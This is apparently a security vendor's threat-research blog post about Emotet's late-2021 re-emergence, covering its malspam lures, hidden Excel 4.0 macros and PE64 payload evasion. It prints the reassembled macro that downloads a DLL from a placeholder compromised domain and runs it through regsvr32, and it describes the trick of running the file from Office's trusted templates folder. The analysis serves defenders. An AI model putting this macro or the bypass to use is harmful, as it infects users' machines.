Emotet’s Vacation is Over: No Rest for the Wicked

Emotet is a prolific malware botnet that originally functioned as a banking trojan when it emerged in 2014. It was spread via spam campaigns, imitating financial statements, transfers, and payment invoices. Emotet is propagated mostly via Office email attachments containing a macro. If enabled, it downloads a malicious PE file (Emotet) which is then executed.

The Emotet operation was disrupted in early 2021, but after few a few months of inactivity for what we will call "summer vacation," it has re-emerged with nearly daily activity since mid-October.

The first thing the botnet operators did upon re-emergence was update currently infected computers with new versions of the malware:

Delivery via Thread Hijacking Email 

The current wave of Emotet malspam is delivered via “thread hijacking” emails. The attachments come in both password-protected zips as well as plain attachments: 

Changes in Emotet Malspam

Before going on vacation, Emotet malspam consisted of XLS files with an Excel 4.0 macro. 

The files contained a simple social engineering image that asks the victim to enable content which will cause the macro to execute:

After vacation ended, the Emotet wave still includes XLS files, however, the social engineering element has changed: 

The victim is asked to copy and execute the file from the templates folder of Microsoft Office.

Executing Office files from this location bypasses the security warning and the Excel 4.0 macro is executed automatically when the file is opened: 

Advice: Cybersecurity and IT teams should either disable trusted locations and/or limit write access to such locations to unprivileged users, as well as proactively hunt for suspicious executions from those locations.

Besides this social engineering piece, the techniques used by Emotet didn’t change much. When manually checking the sheets, they look empty, however, they contain hidden values:

The auto_open macro is also hidden: 

The formula concatenates values from different cells to eventually assemble, download, and execute the Emotet DLL. This is done to avoid static detection of common endpoint solutions.

The end results should look like this:

  =FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://compromised_domain/random/path/","..\oxnv1.ooccxx",0,0),G16)
  =FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18)

The Emotet Payload 

Emotet operations moved from PE32 to PE64 executables in mid 2022, adding several new features and rebuilding some of its older code. The overall structure remained the same.

From the configuration extraction of Emotet we can see the malicious IPs list, as well as evidence of them using the epoch4 botnet and the ECDH and ECDSA keys (See IOCs table).

In an attempt to look like a legitimate application when scanned, Emotet is using C++ libraries licensed by DinkumWare.

Additionally, Emotet has a few loops to mimic legitimate behavior during runtime, for example “printing benign strings.”

Even building a Sudoku and checking your board number (not really…)

The Real Emotet Job

The final DLL is decrypted and uploaded to memory during runtime, making investigation and detection more difficult. Even the API call to VirtualAlloc is obfuscated, like their older version, and the address of the API is retrieved dynamically. The parameters of the call are saved as a STRING and converted to INT during runtime.

You can read more on that technique in the previous blog by Deep Instinct

The payload itself is encrypted and then encoded using base64:

Once the malware is executed, it decodes the base64 text into binary data:

The binary data is then decrypted and we finally get the payload, easily identified by the “MZ… this program cannot be run in DOS mode.”

Some other artifacts that are similar to the previous generation of Emotet include the following:

• Empty import table
  

  

   

• Minimal informative string
  

  

   

• Similar code flow flattening technique
  

  

You can read more about these techniques in Deep Instinct’s previous blog about Emotet.

The multi-step techniques detailed result in late detection only when the decrypted PE is uploaded to the memory, therefore, we see a low detection rate in VT for the initial DLL, while the decrypted DLL gets a higher detection rate.

Conclusion

Emotet has returned to send malspam after a few months of summer break.

The current waves don’t show much change from those before their vacation; they’re still trying to bypass detection by making some minor changes, adding benign code blocks, and moving to PE64.

Emotet has slightly altered its techniques and TTPs over the years as the threat landscape shifts in favor of new initial infection vectors and new bypassing methods.

We wouldn’t be surprised if we saw Emotet shift from Excel 4.0 macros to another initial infection vector that would yield them more successful infections in the near-term future.

Deep Instinct customers are protected from the new Emotet campaign by multiple protection layers, both statically and dynamically, resulting in pre-execution prevention.

IOC

References

* Figure 1: MalwareBazaar

† Figure 2: Twitter